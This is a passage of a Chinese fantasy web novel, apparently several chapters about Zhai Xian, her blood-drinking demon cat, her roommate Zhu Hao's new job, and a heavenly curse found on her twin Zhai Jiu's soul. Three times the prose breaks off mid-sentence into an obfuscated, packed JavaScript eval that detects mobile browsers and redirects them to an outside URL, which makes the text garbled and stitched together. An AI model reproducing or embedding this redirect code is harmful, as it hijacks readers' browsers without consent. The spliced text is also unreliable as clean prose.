上古大妖的遗脉传承至今,已经稀薄非常,如今得道的妖啊魔啊之类,虽同样具备这样的能力,然而已经是大打折扣了。就翟九这蠢猫带着的这点毒,那是根本不够看的——至少对于翟闲来说。 她也渐渐摸清楚了翟九尖牙里的毒都有些什么作用,大概是三分的致幻、三分镇痛的和四分的…… 额,催|情。 虽然那点子镇痛麻痹的功效也够正常人睡个七天七夜,也算是有点用处……但……但怎么感觉这猫不是什么正经猫呢。 “只剩没有洗澡了吗?那就不用管了,你们先去忙吧。” 符悯摆了摆手,低头看了一眼在翟闲圈椅底下龇牙哈气的猫,无奈摇了摇头,“真凶啊,要是光看这一点,他和他还是挺像的。” “他凶吗?”翟闲挑眉侧目,回想记忆中那人颜如冠玉、眸若寒星,笑着摇了摇头。 “嗤——他只是在你面前乖得和孙子一样。”符悯翻了个白眼,“一般的小猫到新家一两个星期的样子再洗澡是最好的,你就看着安排吧。” 翟闲也止住了话茬,点了点头:“那就照着正常养小猫养是吧?” “理论上是这样。”符悯道。 正说着,翟闲垂在圈椅扶手上的指尖就一痛,紧接着一沉,提起来一看,翟猫猫的嘴巴就已经叼在了她手上,细长的胡须顺着动作一颤一颤的,被她提溜着提起来也不松嘴,伤口沁出的鲜红的血珠尽数被他用带着倒刺的舌尖舔去。 这完蛋玩意儿。翟闲刚想说话,就看见猫就这样厥了过去——他现在妖力枯竭,翟闲的血对于他而言又是大补,一口下去,又给补厥过去了。 很短暂的晕眩和痛感传来,翟闲稳住心神,闭了闭眼睛缓了缓,倒是没有和第一回一样也晕厥过去。 她将猫从青石板的地面上提溜起来,接过副手送过来的航空箱,塞了进去。 “你在异管局那边还留着人吗?” “自然。” “那帮我留意一下巫山,他醒来的消息瞒不了多久,我感觉会有人打那里东西的主意,要是异管局那边有什么消息知会我一声。”她起身要走。 虽然总感觉忘了点什么,翟闲左右望了望,还是头也不回地走了。 * 翟闲拎着猫和购物袋回来的时候,祝好正抱着手机打视频。 见翟闲推门进来,她挂断了视频,也不说话,就这么眼巴巴看着她,仔细看她眼眶红红的,肩膀还一颤一颤,看上去是哭过了。 “今晚吃什么?”翟闲从冰箱里拿了两听可乐,一瓶单手开开,另一瓶贴在了祝好哭得通红的眼眶上。 凉意传来,一股莫名其妙的委屈涌上祝好心头,眼看着眼泪珠子又要往下掉,她连忙背过身去,从翟闲带回来的购物袋里挑食材。 厨房不大,祝好在做饭,翟闲在一边上头网购。 ins风超大保暖安全感猫窝?猫还没洗澡,身上怪脏的,不能上床睡觉,买一个。啊不,买两个,换着睡。 可爱大口径高脚陶瓷猫碗防黑下巴防打翻?这碗怪好看的,买。买一打。 饮水机猫咪喝水自动循环恒温流动?小猫咪不喝水怎么行呢?买。那喝水的碗要不要买几个?买!孩子爱用哪个用哪个。噫,这个猫猫头小杯子不错,买两个,她和祝好一人一个。 猫爬架猫树一体耐磨爪不掉屑?小猫咪就是要多多活动一下是吧,买!买三层的还是四层的呢…… 翟闲有点上头。 等她挑好了,祝好也把饭做好了,她厨艺好,就连一向挑剔的翟闲都没话说。一顿饭吃下来,她就差将“有心事”三个大字写脸上了,然而愣是一个字都没说。 这丫头性格有点拧巴,她要说一件事情、要做一件事,势必要自己说服了自己才会开口告诉别人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765988|174593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 要是他人主动来问她,哪怕是她已经都快做好决定了,也都会和受惊了的麻雀似的,“腾”一下飞跑了。 故而她不主动开口,翟闲也不会主动去问。 乌云遮月,星辰无光,都要睡了,祝好还没说服自己。翟闲把猫箱放在了床边,翟猫猫试图溜到床上再来一口自助,被翟闲一脚踹到了地上。 没洗澡,脏。 就这样接连三次将猫踹下床,翟闲半夜垂死梦中惊坐起,拎着猫的后颈皮就往卫生间走,放水,梳毛,扔猫,泡一泡,挤沐浴露,搓澡。 翟猫猫:? 翟闲想撸猫了,克服不了洁癖那就从根源解决问题。落汤猫轻蔑勾起嘴角,对送到嘴边的骗水罐头不屑一顾。 女人,你果然还是为咪着迷吧。 原本他还有些羞耻心,别别扭扭不愿意翟闲给他洗,后头就听说今晚不洗的话让他去睡之前的笼子,他也就撇着脸答应了。 猫脑壳,猫屁股,猫肚子,猫前爪,猫后腿……水一打湿,翟闲才发现这猫并不像是看着那么大的一只,他不算胖,甚至有些消瘦。翟闲给他全身上下都打上了绵密的泡沫,也是在这时才发现,翟猫猫的后腿内侧有一小撮红色的毛发。 很隐蔽,很鲜亮,起初翟闲还以为是站上去的血迹,仔细瞧了片刻并吃了猫猫一记后蹬脚之后,才发现原来是一撮红色的毛发,这还是个小杂毛。 嘶……翟闲忽然感觉灵光一闪,好像有什么东西从她脑子上滑了过去,但是她就是没有回忆起来。 “闲姐,你还没睡吗?”祝好听到声音,有些犹豫地敲了敲翟闲的房门,在看清她在做什么之后,一脸震惊。 “自己弄干……洗猫呢。”翟闲抹了一把脸上的水,用浴巾给猫擦了擦,带上卫生间的门,转身出来问祝好:“还没睡?” 祝好咽了口口水,自觉忽略了方才那一句“自己弄干”好像是对猫说的。 “不是说小猫到新家得过几天才能洗澡吗……”她嘀咕,但这翟闲这样做一定有她的道理,“就想和你聊聊天。” 她吸了吸鼻子,看上去有点窝囊的样子。翟闲笑了笑,揽着她的肩膀往客厅走,给她倒了杯温水,在沙发上坐下听她讲。 “我不是从咖啡店那边辞职了吗。”一口温水下肚,祝好感觉心都静下来了许多,她刚想继续说,瞥见客厅的窗帘没有拉上,窗外的夜空黑洞洞的,看得她有点怵得慌,把窗帘拉上之后挨着翟闲窝在沙发上。 她披着条毯子,把自己缩成很小的一个,慢慢开口道:“我姐姐那里有一份工作想让我过去。” “嗯,那不挺好的吗?” 祝好不说话了。 “你不想去吗?” “有点。”她有些不太好意思得摸了摸鼻子,抱着胳膊又把自己缩小了一点,“内个……我想问问你之后有什么打算什么的,我想和之前一样,找一份离你近一点的工作。” 翟闲之前闲来无事在咖啡店兼职,正巧刚开始和祝好合租那几天咖啡店还招人,这小姑娘二话不说就去了,和翟闲天天一起上下班,和个小跟屁虫似的。 上周翟闲不干了,这几天,祝好也辞职了。 “离我近一点?为什么?” 祝好不知道怎么解释了,缩着脖子东张西望了一阵,像是怕有什么东西偷听似的,扣着手指甲盖,神神秘秘地问翟闲,“闲姐,你相信这个世界上有鬼吗?” 翟闲的眉毛扬了起来。 5. 去上班了 “你……你信还是不信?” “鬼神之说?宁可信其有不可信其无吧?”翟闲支着腿靠在沙发上。 “我从小就能看见一些奇奇怪怪的东西,但是说来也奇怪,我从认识你之后,我就从来没看见过那些奇奇怪怪的东西了……”许是怕吓到翟闲,祝好说得含糊。 然而这些她就是不说,翟闲也是知道的。 南市这么多人,翟闲好不容易才找到这么一个得天独厚的阴阳体质,费劲心思地和她合租。 阴时生人,心灵纯净,目通天地,纵横阴阳,祝好这丫头又是招阴体,天生阴阳眼,看到些什么常人看不见的东西不奇怪。只不过她将那些东西粗暴的归类为—— 鬼。 就是这样的命格孤煞,招惹邪祟,克天克地克父母,身边什么亲朋好友都得绕着走,当时她说她还有个姐姐,自幼和她在孤儿院相依为命的时候,翟闲还惊讶来着,她那个姐姐命还挺硬的,耐|克。 至于她说的在翟闲身边看不到邪祟……笑死,她本身威压即使完全收敛,也是比什么妖魔鬼怪更凶煞的存在,哪里还敢有什么牛鬼蛇神敢来沾边。 况且她有意罩着祝好,要是还有什么不长眼的敢来沾边,那是真的活腻了。 “所以这就是你想离我近一点的原因?”翟闲揉了揉她的脑袋。 “……嗯。我给你做饭,我做饭很好吃的,我可以把家务都包了……就是,离开你我有一点害怕。”她的头更低了。 “可是我没什么打算啊。”翟闲轻笑,“我的身体不大好,现在也只想着,找个地方养养病养养猫什么的。” 听她这么一说,祝好眼睛里的光瞬间黯淡了下来,然而,很快她就听见翟闲道:“不过听你的意思,只要你能不看见那些‘奇怪的东西’就可以了是吗?” 祝好想了想,好像是这个道理,于是点了点头。 “等我一下。” 翟闲说罢,转身回房,在里头翻箱倒柜地找。 翟闲后知后觉想起来,她从符悯那边离开之后忘记什么了——她都去找符悯了,怎么就不记得找他要两罐朱砂和几刀黄纸? 她有些懊恼,就连床底都翻了,想着能不能从哪个犄角旮旯里面着这一篾儿,好在最终从床头柜底下摸出一张皱巴巴的黄纸。 这时猫从旁边凑了过来,他身上的水已经全然干了,毛发油亮蓬松柔软,像是只超大棉花糖,表情臭屁的蹭到了翟闲的身边,一下一下拿脑袋顶着翟闲的小腿。 “你头上痒吗?”翟闲略微不解。 翟九:…… “一边玩去,忙着呢。”翟闲将手短暂在猫脑袋上乱七八糟揉搓了一阵,试图从用光的朱砂罐子里抠出一点颜色来。 翟九:? “你是道士?”翟猫猫嗷呜一下咬在了翟闲的小腿上,不疼,有些痒痒的。 “昂?谁和你说只有道士能用符纸了?” 倒也没谁规定说只有道士能用符纸。 他看不懂翟闲画什么,有些兴致缺缺地走开了,伸了个懒腰,肉垫粉而软的爪子在书桌上挑挑拣拣,试图在翟闲转身的时候将柜子上的毛线团、摆件、手机、钥匙、水杯往地上推。 毛线团掉在地上没有声音,差评。 摆件掉在地上的声音乱七八糟的,也是差评。 手机掉在地上的声音太大了,这个声音大主要是翟闲会以一迅雷不及掩耳之势给他的脑壳一个爆栗,这个也给差评。 钥匙掉在地上的声音稀里哗啦,好评。 水杯掉在地上的声音最好听,清脆悦耳,超级好评!!!就它了!!! 翟猫猫那条蓬松柔软的尾巴顿时翘了起来,像只大大鸡毛掸子似的晃悠悠着,爪子都举起来了一半,谁知道翟闲就和后脑勺上长了眼睛似的,还没等他有动作,就后脑给他一个板栗,拎着他的尾巴把他丢到了被子里。 翟猫猫vs翟闲,翟闲完胜。 他百无聊赖地在被窝里拱啊拱,忽然就闻到了一阵香醇的味道,一看,是翟闲实在没有找到朱砂,咬破了指尖在画符箓。 什么符箓?看不懂,但是能感受到还蛮厉害的样子。翟猫猫舔了舔爪子,心道她一个平平无奇的病秧子没想到还懂点道行,有些意外。 指尖伤口的血腥味刺激得翟九有些难受,等到她画完之后,他有些鬼迷日眼地凑了上去将沁出来的血珠舔了个干净,等到翟闲出去的时候,指尖被咬破的伤口已经消失得无影无踪了。 “看。”翟闲将那张皱巴巴的、上面还有些不明褐色褶皱的黄纸放到了祝好手上。 “这是什么?” “护身符,给你的。”翟闲笑了笑,神色说得上认真,“我小时候住在山上,山上有个什么老神仙给了我这个,说是可以保平安。你说在我身边看不到那些奇奇怪怪的东西,应该是因为这个。我用不上了,送你。” “这、这不好吧。”祝好有些受宠若惊。 “给你你就收着。”翟闲戳了戳她的脸蛋,“现在不怕还有什么脏东西了。” 祝好的眼睛微微睁大了些——这看上去是件古物!时间在上面留下了不可磨灭的印记——看这手工裁剪的毛边!看着自然老化的发黄发褐的颜色! 就是、就是……就是这护身符的味道怎么闻起来怪怪的,怪熟悉的呢? 翟闲有些不好意思干咳了一声,这张黄纸是她上次不小心打翻螺蛳粉之后,随手抽了一张揩桌子结果忘记扔的。这玩意儿真的是消耗品,她记得那时候还剩下好厚一打呢,这么快就剩下这么一张了。 问题不大,能用就行。 “现在也没必要一定和我一起,考虑考虑回复你姐姐?”她这样说,祝好还想着说什么,却被翟闲的眼神安抚了回去,好像会发生什么,她就能解决。 好在祝好这姑娘没什么心眼,但凡她稍微注意一点,就会发现翟闲给她的这张黄符上头,是殷红的新鲜的血色,根本就不是翟闲狗扯的什么她从小戴到大。 * 好久没弄这种的符啊箓啊什么的了,翟闲都有些手生了,等她忽悠完祝好躺倒在床上的时候,猫已经抖这一身蓬松无比又香喷喷的毛发在她被窝里头打滚了。 翟闲眼前一亮,还没等猫捞着机会再来一口自助,翟闲就捞过猫,把脸扑倒它感觉柔软的小肚子上一阵猛吸,猫没料到她猛地一下就埋它肚子,动作一僵,喵喵咪咪叫唤个不停。 “你不要一上来就嗯……别碰哪里啊……啊……啊啊嗯……轻、轻一点……啊、好舒服啊……” 翟闲:喵喵咪咪得说些什么呢?听不懂,想吸。 终于是撸上了猫,翟闲心满意足得闭上了眼睛,遁入黑甜乡中。 别说,还真别说,抱着猫睡的感觉真的就不一样一些,毛茸茸的软软热热的身体很容易让灵魂都有一种充盈的满足感,她这边睡得不知天地为何物,而隔壁房间的祝好又失眠了一晚上。 第二天翟闲看见她的时候,叠了三四天的黑眼圈差点没给她吓一大跳。 “你……要不睡个回笼觉呢?”一夜无梦、睡得神清气爽的翟闲看着她那一双憔悴的眼睛欲言又止,昨晚就连猫也睡得不错,蹲在翟闲的肩膀,尾巴圈着她的脖子,伸着懒腰。 这样近的距离可以让他很清楚闻到,从翟闲身上散发出的那种几乎是要醉了他的食物的芬芳。太香了,翟九感觉自己的灵魂都在叫嚣着饥饿,他舔了舔嘴唇,在翟闲的耳后嗅了嗅。 翟九发现翟闲懂道行,心知肚明他在用她的血液滋补,但对此种行为只是睁一只眼闭一只眼。只有那个叫祝好的阴阳眼,一看到他试图咬翟闲就开始大呼小叫的。故而在祝好看不到的地方,翟九就会疯狂试探翟闲的底线。 有时候是轻轻咬开一个小小的血窟窿,有时候是爪子一点点小小的划痕,他观察到,这样细微的伤不会让翟闲和之前一样晕厥,只要她不表现出不适,那翟九就可以心安理得地享受他的自助餐。 他对此颇为得意,毛茸茸的尾巴像是围巾一样勾在了翟闲的脖子上,动来动去地有点痒。 “睡不着……今天就要去报道了。”祝好盯着碗里的皮蛋瘦肉粥发呆。 “什么时候?!” “今天啊。” “今天?这么快?” “嗯,昨天晚上临时说的,已经沟通好了,时间是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765989|174593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点紧了,可能最近忙吧。” “那你现在还不走吗?” 祝好摇了摇头道:“那边上班是晚九朝五,上夜班。” 晚九朝五?这是什么阴间时间,翟闲忽然就想到了她的某一个前东家,那边的上班时间也是不可不谓阴间。 既然是晚九朝五,那现在时间还早着,吃完饭翟闲就推着她去补觉,这个样子去上班也不是个办法。趁这祝好没看见,她在她枕头下边放了张画得粗糙的安神符,给她拉上窗帘关上门才出去。 适时想起一阵消息提示音,是符悯发过来的信息。 上善若水:巫山真出事了,你家被偷了。 * 过几个小时就要去上班,祝好本以为会紧张得根本睡不着——她昨晚就因为这个翻来覆去一点睡意都没有。 在拿到所谓的护身符之后,祝好就回复了她姐,对方当即就给她推了个什么令狐组长的联系方式,说祝好报道之后直接分到这一组。 祝好颤颤巍巍地加了对方联系方式,谁知道,在发完在“你好”和“您好”中反复抉择的“您好【玫瑰】【玫瑰】【玫瑰】”之后,对方就直接发了正儿八经的聘书过来,说是明天报告的时候直接就签。 就……也没有问什么,也没要了解什么的意思,就这么直接发聘书给她了?要不是这是她姐让她去的,祝好真要怀疑这是不是正经单位了。 就是,就是……对方好像没有告诉她是在哪里上班啊? 祝好一觉睡到下午,起来的时候才发现这个不争的事实。她一遍一遍仔细去翻看聊天记录,总算是在一张糊了吧唧的图片上发现了一行还不如乱码的地址:南市xx区xx街道xx大道xxx号xxxxxx。 本来是想着问问姐姐的,但是她那边好像忙得厉害,电话已经打不通了。那在地图上搜一下呢?一搜,根本就没这个地方。 祝好:完了。 祝好这人没什么出息,在孤儿院怕阿姨和院长,在学校怕老师和校长,出来工作了怕组长和领导。在内心挣扎再三,祝好终于下定决心发了编辑了一大段信息、前前后后改了七八遍: 令狐组长下午好,不好意思打扰您了,如果您这会方便的话可否告知一下我们单位的具体地址?非常抱歉在合同中好像并没有提及办公地址,很抱歉没有在收到信息后第一时间确认,还请麻烦您告知一下…… 噼里啪啦叽里呱啦,祝好战战兢兢谨小慎微编辑了一大段废话,左看右看上看下看终于准备发出去,快要按下发送键的时候,手指又和触电了一般往回一缩,自个再将信息反复读了三四遍,并在后面加上了【玫瑰】【玫瑰】【玫瑰】【握手】【握手】【握手】。 终于发了出去,祝好长舒一口气,这边才发出去她就立刻从床上弹了起来,又把之前的聊天记录和合同信息翻了七八遍,再三确认真的没有提及任何的地址信息之后才心有余悸地躺了回去。 这边刚躺上,那边手机就传来消息提示音,祝好又从床上弹了起来。 是翟闲,祝她上班顺利的。 祝好又躺了回去。 手机又传来一道提示音,祝好再一次从床上弹了起来,颤颤巍巍打开手机看,是那个令狐组长。 令狐也是狐:晚上九点三山路199号,我在出差,找六十八组邬稞报道,收到勿回。 太好了不用回,祝好一喜,松了一口气。 对方发过来了一张像素几乎是上个世纪、质地粗糙、拍摄角度清奇的手绘地图,祝好一看时间下午四点多,当即就起床收拾,导航到了周围后,顺着手绘地图上的七拐八扭的线条摸到了传说中的三山路。 鬼影幢幢,祝好打着手电筒在一条又深又黑、两边外墙爬满藤生植物的巷子里找了半个多钟头,手里攥着翟闲给她的护身符腿抖得和筛糠一样,终于在巷子尽头找到了已经被锈得看不清本色的门牌。 三山路199号。 门牌下面的藤生植物茂密枝叶的阴影里,一面已经已经被腐蚀了一半的木板上有一行看上去有几分仙风道骨的毛笔字—— (不周山南)异常事件管理局(暨六道非常事件办理处)。 6. 吃飞醋了 祝好又有班上了,刚刚入职,她这几天忙得厉害,根本不着家,着了家之后就往床上一扑就睡得不知天地为何物,根本见不着人。 这完蛋猫就更别说了,这几天有事没事就来口自助,成功给自己补伤着了,一觉睡了好几天。翟闲灵府里的翟玖倒是有一点动静,但也没有见再醒过来的迹象,这几天翟闲过得和个空巢老人似的。 终于,第四天晚上,她沉寂已久的灵府中终于传来了些许动静,是翟玖醒了。 “我这次又睡了多久?”他一副刚醒的样子,脸上的表情纯良无害,翟闲没忍住伸出手在他发顶揉了揉,后者一愣,下意识想迎合着凑上去蹭蹭,但是半道儿又想起来他在和她闹别扭一般,卡在了半路,不上不下。 “也就几天。”翟闲只当没看见,在他的尾巴上撸了一把,翟玖没有说话,余光却一直落在翟闲怀里的猫身上。 “这是什么东西。” 翟玖两根指头捏着猫的后颈皮,将睡得不知天地为何物的猫从翟闲的怀里抽了出来,他手腕上缠绕的红线很快便缠绕到了翟闲的手臂上,带来轻微的捆绑的感觉,并不是很明显,但是挺好玩的。 “猫,我养的。” “什么时候的事情?” “就这几天,你睡着的时候。” “养他做什么?”他的表情出现了一丝龟裂,语气听上去有些委屈。 “喜欢就养了。” 喜欢?翟玖定定看着她,眼中难以掩饰控诉。 “那也没有必要整日抱着……我是说,他或许会掉毛发,粘在身上会很痒。”翟玖不远不近挨着她坐下,他看上去回复了不少,翟闲看他比那天晚上明了多了。 他的声音闷闷的,说着,自己的蛇尾又不动声色来缠翟闲的腰。翟闲哑然失笑。这是和猫吃上醋了? 不知道是不是错觉,她总觉得前尘忘尽的翟玖这张脸从内到外都透着一股子欲拒还迎,就连唇角勾起的弧度恰到好处正中她的心坎。 岑眉薄唇,翟闲勾着他的一缕发丝放在鼻尖嗅了嗅,指腹轻轻划过他鼻尖的弧度,翟玖想躲,但是没躲掉。 她在柔软的嘴唇上摩挲了两下,使得那两片唇染上一点绯红,再望下去,脖梗和喉结,并在翟玖没忍住要追吻上来之前用手指抵住了他的唇。 她拢了拢他衣领,漫不经心道:“你和只猫计较个什么?” 他的记忆还停留在千年之前,千年之前是什么样的风尚?翟闲想了想,她和他同诞生于混沌之初,那是一个没有时间、没有空间、没有色彩、没有声音、没有味道的世界,自那时起他们两个就共生一处。 那个时候没有伦|理,没有礼法,就连所谓的“道”,也没有在后人的探索中被发现,他们就在这样的虚空之中怡然自在。手握在一处,肌肤贴在一处,彼此以为在一处,无天地、无万物、无我。 他们嬉笑,哭泣,他们在饥饿时啃食过对方的血肉,他们在不知道亲吻为何物的时候就亲吻过,在不知道交合为何物的时候就交合过。直到女娲将他们二人找到,带回昆仑仙山。 在那里,有人教授他们如何寻觅果实以果腹,教授他们如何收集香草芳木以制衣蔽体,教授他们何为情与欲,伤与痛,爱与恨。 教他们的老师是很好的老师,但是他们并不是很好的学生,几千年来什么都没学会。 就现在而言,翟闲好歹是在现代社会混了这么多年的老油子,这么长时间摸爬滚打跌跌撞撞,她也能摸清楚,现如今,亲吻等诸如此类的行为是爱人的专利。 “现在不可以这样子了。”翟闲看着他的眼睛道。 “为什么?”翟玖动作一僵,他的目光闪烁,“是因为我们没有一起去看花灯吗?” “嗯……我这些年忘了很多事情……”翟闲没懂看这和看花灯有什么必要的联系。 “你一向不愿意记这些事情……但是拜托你,你好好想想,好好想想。”他道,脸上的表情祈求。 在他的视角里,他们是世间最亲密无间的存在,他不过是和师姐闹了一点小性,向来这样的摩擦也不是没有的,睡一觉醒来就又忘在脑后。 谁知道,这一回一觉醒来,自己变成一缕随时都有可能消散的神魂就算了,怎么师姐扭头就不搭理他了? 翟玖要碎了。 “是因为他吗?”他拿手指了指被扔到床上摊成一滩的猫饼,尾巴已经往猫的脖梗出去了,语气中有些愤愤,看着猫的眼神有些幽深,“你拒绝我,是因为他吗?” “不是。不许对他下手。”翟闲一眼就看出了这玩意儿想做些什么,这都几千年了,还是这么个气量。 他没有回话,反而是红着眼睛将头扭到了一边去。 “行了行了,你这脑子里也就只记得几千年之前的事情了,趁着这会子你醒了,带你出去玩玩?感受一下几千年沧海桑田都发生了些什么变化……我和你说,几千年了,你是不知道外面发展得有……” 这下轮到翟玖不说话了,只是很安静地看着她,那双眼睛中有些哀怨,还有些不安,很容易让人回想起在昆仑山的夜里仰头看到的月亮,一开始的时候翟闲还能心无旁骛地和他扯闲天,到最后,她的声音也小了下来。 “你有什么事瞒着我,对吗?”翟玖直勾勾盯着她。 翟闲直视那双眼睛,还没等她想出要说些什么来应对,便听见翟玖道: “那我等你愿意告诉我的那一天。” “我失忆不记得前尘了,对你来说,我们千年未见,可是哪怕这样,我们也不会生疏,对吗?” * “千年之后的世界……当真变化很大,这写高耸的都是楼宇吗?”翟玖紧紧跟在翟闲身后,他只是神魂的状态,除了翟闲,没人能看得见他。 “这些是神的造物吗?”翟玖问。 “不是,都是人力所为。” “人力?那些在道路之上飞驰的呢?” “汽车,和马车驴车一样,是人的座驾,不过不用牲畜的劳力了。” “不用牲力也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765990|174593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不用神力……”翟玖若有所思,“前者我能理解,不用神力……千百年过去,神力逐渐消亡了吗?” 翟闲道:“并非是神力在消亡,而是……人有了更多的变成‘神’的可能。” “那边是什么地方?气息很蓬勃。” “学校,就是庠、学宫。”翟闲就这么有一搭没一搭和他聊着,这样散步还是不错的,就是在外人看来一个人和自己有说有笑的,确实有些诡异。 事实上还是有个办法的,不需要翟闲解释许多就可以让翟玖周知这千年来所发生之事。他二人本为一体,而翟玖又依附于翟闲的灵府之中,只要翟闲愿意,她完全可以和翟玖共享她的感官。 只要翟玖愿意,他未必不可以趁翟闲不备,侵占她的五感。如此,千年沧海桑田之巨变,他无所不知——甚至包括他为什么会变成这样。 但是两人都没有这样做。 “具渔……兵……老……这是什么地方?”两个人就这么在外面逛荡了许久,翟玖见翟闲拉着他往一间看上去是店铺的地方进,那墙壁上挂着的像是棍棒钩锏一类,心生好奇。 “从左往右读。”翟闲头也不抬,转而又好像忽然反应过来了什么似的,“这些字你都认识?” “和那时候的字不尽相同,但我好像就是能认出来些。”翟玖答。 翟闲眸色一暗,敏锐发觉,她的记忆在和他产生融合。 不知道是因为他一直寄居在她的灵府中所致,还是他们二人本就是天生一体所致,他们的记忆在此刻不可避免地产生了一些融合,这些融合变成了两人之间斩不断的链接。 而融合的开始,就是这样的细微,几乎很难让人发现。这可不是个好兆头,翟闲想,随手挑了几件钓鱼的物什,带着翟玖就往家的走,回来的路上破天荒接到了祝好的电话。 这可稀奇,祝好这丫头宁愿发一万条信息也不打一个电话,接听之后才知道,她单位那边要出差,可能要几天才能回来,这几天得要翟闲一个人过活了,在叮嘱了一番一定要按时吃饭云云就匆匆挂了电话。 这倒是方便了翟闲。 一进家门她就将翟玖圈禁在了房间之中,以一种不容抵抗的姿态破开了他的神魂。一路上那些诡异的、暗红的想是血色的丝线就像是小猫小狗一样一直跟着她,亲昵、纠缠,但是无一丝恶意。 当她再次站在他黑雾滚滚的灵府中时,翟闲抽骨作刃,直直朝雾气最浓重之处劈了过去。 紫色雷电的声音震耳欲聩,偏生此时的翟闲作足了准备,没等雷电劈在她身上,就以骨刃将其打散。 黑雾散去,天地澄净,翟闲正要细观那些融合是如何发生,却不料入目就感到一阵心神巨大的震颤—— 那是一片犹如被天雷劈下的焦土,巨大的黑色沟壑留在他荒芜而孤寂的灵府上,一道又一道深不见底的沟壑构成了一片类似符箓、笔画的痕迹,触之一片无边无际的死意。 那是天谴。 他的身上不知道如何背上了一道天谴。 7. 遭天谴了 这就很有意思了。 这就非常有意思了。 何为天谴?上天的责罚。 若是有人犯下眼中的罪行或是违背道义所为,行大恶之事,上天便会降下罪责以为惩戒。但是老天爷也不是什么事情也搭理的。大恶之事也分个三六九等,做大恶之事的人也分个三六九等,天道要是什么都管,什么都降下个天谴来,那天谴不就太掉价了? 那所谓的“道”是不是也太没面子了? 那现在问题来了。翟玖究竟是做了些什么伤天害理丧尽天良丧心病狂惨无人道灭绝人性的事情,以至于向来也不怎么管事的天道降下了如此惨重的责罚。 翟闲一脸不可置信地从他灵府中退了出去。 首先,为什么翟玖身上会背上天谴? 其次,翟玖被翟闲弄死之前都没得天谴这一回事,他是什么时候背上天谴的? 最后,翟闲翟玖两人双生一体,神魂纠缠,为什么他背上了怎么大一个天谴,翟闲竟然分毫不知? 翟闲气笑,心道当年翟玖瞒他的东西可真不少。 “怎么了吗?”翟玖一副不明所以的样子。 “你身上怎么会有天谴?”翟闲压着怒气低声问他。 “天谴?什么天谴?” 得,这一位自己也不知道。 “我身上有天谴……那然后呢?”他脸上的表情有些懵懂,丝毫没有意识到问题的严重性。 凡人遭天谴,生死魂灭,或是堕入畜生道永世不得轮回。 仙人妖物遭天谴,修为尽失、神魂受损,堕入轮回不得超神。 杀不死的魔物遭天谴,其要么彻底消亡于天地间,要么就是被打入湮灭之地受尽磨难永不得出。 但是,不管是那一类,天谴的印记都会永生烙印在灵魂之上,要想消除,除非……想屁吃,都说了没有办法消除。 好的,那问题又来了,天谴落在翟闲和翟玖这两个天上地下绝无仅有的超级无敌黑户上……这是个什么说法? 是的没错,这俩虽诞生于混沌之中,却是在“道”将要形成之后才开智,压根没有赶上那个秩序开始形成的好时代,从一开始就彻底和社会脱节,硬是给自己混成了黑户。 这天谴落在翟玖这么个不死不灭的黑户身上,又该当如何呢?翟闲所能推测的是,这一道天谴的印记若是不消除,翟玖的神魂就聚不起来,他现存的这么点魂魄就会越来越虚弱,当到最后消散于六道轮回,在漫长的岁月里慢慢汇聚,又慢慢再一次消散,如此循环往复,永无止境。 看样子得想法子弄清楚这道天谴是怎么来的,再去除掉才好。 理论上来讲,这是没有办法实现的,但是对于翟闲和翟玖这俩黑户,谁不定还真有几分可能性。既然要搞清楚天谴,那就要去传说中降下天谴的地方—— 众神湮灭之地。 翟闲刚想和他商议,一扭头就不见了翟玖的痕迹,灵府中传来一阵轻微的刺痛,翟闲向内一看,翟玖忽然就被收回了她灵府中,陷入了沉睡。而她的腕上—— 翟闲抬手一看,那里不知道什么时候被系上了一圈又一圈的红线,正是那些缠在翟玖身上的。 她心下一沉,封闭了自己的一感。 五感贯通,堵一关塞,这样哪怕翟玖是醒了还是没醒,都不能通过翟闲的感官和记忆体察外界。 这是阻止融合发生的最简单的办法。 * “你在干什么呢?” 翟猫猫终于醒了,伸着懒腰蹭到翟闲身边,见她靠在床边一副半死不活的样子,在她掌心嗅了嗅,又舔了舔,见她还是没有反应,然后“嗷呜”在翟闲手上来了一口自助餐。 睡醒了就能吃上口热乎的,这小日子也是一天比一天水润了,翟九感觉自己的皮毛都要油亮了不少。翟闲的脸色不太好,或许是这小没良心的难得生出了一点愧疚来,毛茸茸的脑袋撞了撞她,蹭到她身边去躺倒下来,露出柔软的腹部。 翟闲趴在床弦上没有搭理他。 翟九又往她身边蹭了蹭,翟闲还是没有反应,就在他准备放弃的时候,忽然鼻尖传来一股奇怪而陌生、最重要是具有攻击性的味道。 有点像是蛇的味道。 “什么味道?你家里还有什么人或是妖?”翟九背上的毛都炸起来了,直到他看到了翟闲手上的红线,这味道就是红线发出来的。 